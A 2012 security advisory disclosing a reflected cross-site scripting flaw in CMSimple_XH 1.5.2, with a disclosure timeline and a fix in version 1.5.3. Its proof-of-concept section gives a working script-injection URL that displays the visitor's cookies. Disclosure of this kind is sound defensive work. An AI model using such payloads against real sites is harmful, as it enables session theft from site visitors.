CMSimple_XH 1.5.2 Cross-site Scripting vulnerability



Advisory: CMSimple_XH 1.5.2 Cross-site Scripting vulnerability
Advisory ID: SSCHADV2012-008
Author: Stefan Schurtz
Affected Software: Successfully tested on CMSimple_XH 1.5.2
Vendor URL: http://www.cmsimple-xh.de
Vendor Status: fixed

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Vulnerability Description
==========================

CMSimple_XH 1.5.2 is prone to Cross-site Scripting vulnerability

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PoC-Exploit
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http://[target]/cmsimple/cmsimplexh152/?'"</script><script>alert(document.cookie)</script>

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Solution
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Update to the latest version

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Disclosure Timeline
====================

15-Mar-2012 - vendor informed
19-Mar-2012 - fixed in version v1.5.3

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Credits
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Vulnerability found and advisory written by Stefan Schurtz.

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References
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http://www.cmsimple-xh.de/?History_und_ChangeLog/19.03.2012_-_v1.5.3
http://www.darksecurity.de/advisories/2012/SSCHADV2012-008.txt